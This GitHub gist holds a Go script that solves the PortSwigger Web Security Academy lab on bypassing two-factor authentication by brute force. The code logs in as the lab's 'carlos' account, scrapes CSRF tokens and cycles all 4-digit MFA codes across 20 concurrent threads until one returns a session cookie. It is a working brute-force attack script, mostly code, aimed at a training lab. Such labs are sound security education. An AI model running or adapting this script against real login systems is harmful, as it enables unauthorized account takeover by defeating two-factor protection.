Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save abdulx01/542504093199c25a3b8839229e60fd16 to your computer and use it in GitHub Desktop.
Save abdulx01/542504093199c25a3b8839229e60fd16 to your computer and use it in GitHub Desktop.
A solution script for the portwigger web-sec-academy lab "2FA bypass using a brute-force attack"
/*
for this lab https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack
*vastly* faster than using a burp macro with 1 thread and intruder
even if it took an hour to throw together :D
*/
package main
import (
"errors"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"strconv"
"strings"
)
var (
username = "carlos"
password = "montoya"
mfalen = 4
mfamin = 1
mfamax = 9999
threads = 20
csrfTag = "<input required type=\"hidden\" name=\"csrf\" value=\""
laburl = "https://acfa1f1f1ebe64c3801822390043003e.web-security-academy.net"
client = &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
finished = false
)
func main() {
log.SetFlags(0)
done := make(chan bool)
for mfa := 0; mfa <= mfamax && !finished; mfa += threads {
for i := mfa; i < mfa+threads; i++ {
go flow(padCode(i), done)
}
for i := mfa; i < mfa+threads; i++ {
<-done
}
}
log.Println("done")
}
func padCode(code int) string {
mfa := strconv.Itoa(code)
for len(mfa) < mfalen {
mfa = "0" + mfa
}
return mfa
}
func flow(code string, done chan bool) {
cookie, csrf, err := getLogin()
if err != nil {
log.Fatalln(err)
}
cookie, err = postLogin(cookie, csrf)
if err != nil {
log.Fatalln(err)
}
csrf, err = getLogin2(cookie)
if err != nil {
log.Fatalln(err)
}
successCookie, err := postLogin2(cookie, csrf, code)
if err != nil {
log.Fatalln(err)
}
if successCookie != "" {
log.Println(successCookie)
finished = true
}
done <- true
}
func getLogin() (cookie, csrf string, err error) {
resp, err := http.Get(laburl + "/login")
if err != nil {
return "", "", err
}
if resp.StatusCode != 200 {
return "", "", fmt.Errorf("get login response was not 200 (was %d)", resp.StatusCode)
}
cookieSet := resp.Header.Get("Set-Cookie")
cookie = cookieSet[:40]
bodyBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", "", err
}
html := string(bodyBytes)
csrfStart := strings.Index(html, csrfTag)
if csrfStart == -1 {
return "", "", errors.New("can't find csrf")
}
csrfStart += len(csrfTag)
csrfEnd := csrfStart + 32
csrf = html[csrfStart:csrfEnd]
return cookie, csrf, nil
}
func postLogin(cookie, csrf string) (nextCookie string, err error) {
data := strings.NewReader(fmt.Sprintf("csrf=%s&username=%s&password=%s", csrf, username, password))
req, _ := http.NewRequest(http.MethodPost, laburl+"/login", data)
req.Header.Add("Cookie", cookie)
resp, err := client.Do(req)
if err != nil {
return "", err
}
if resp.StatusCode != 302 {
return "", fmt.Errorf("post login response was not 302 (was %d)", resp.StatusCode)
}
cookieSet := resp.Header.Get("Set-Cookie")
cookie = cookieSet[:40]
return cookie, nil
}
func getLogin2(cookie string) (csrf string, err error) {
req, _ := http.NewRequest(http.MethodGet, laburl+"/login2", nil)
req.Header.Add("Cookie", cookie)
resp, err := client.Do(req)
if err != nil {
return "", err
}
if resp.StatusCode != 200 {
return "", fmt.Errorf("get login2 response was not 200 (was %d)", resp.StatusCode)
}
bodyBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
html := string(bodyBytes)
csrfStart := strings.Index(html, csrfTag)
if csrfStart == -1 {
return "", errors.New("can't find csrf")
}
csrfStart += len(csrfTag)
csrfEnd := csrfStart + 32
csrf = html[csrfStart:csrfEnd]
return csrf, nil
}
func postLogin2(cookie, csrf, code string) (successCookie string, err error) {
data := strings.NewReader(fmt.Sprintf("csrf=%s&mfa-code=%s", csrf, code))
req, _ := http.NewRequest(http.MethodPost, laburl+"/login2", data)
req.Header.Add("Cookie", cookie)
resp, err := client.Do(req)
if err != nil {
return "", err
}
if resp.StatusCode != 302 {
return "", nil
}
cookieSet := resp.Header.Get("Set-Cookie")
cookie = cookieSet[8:40]
return cookie, nil
}
@abdulx01
Copy link
Author

Thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment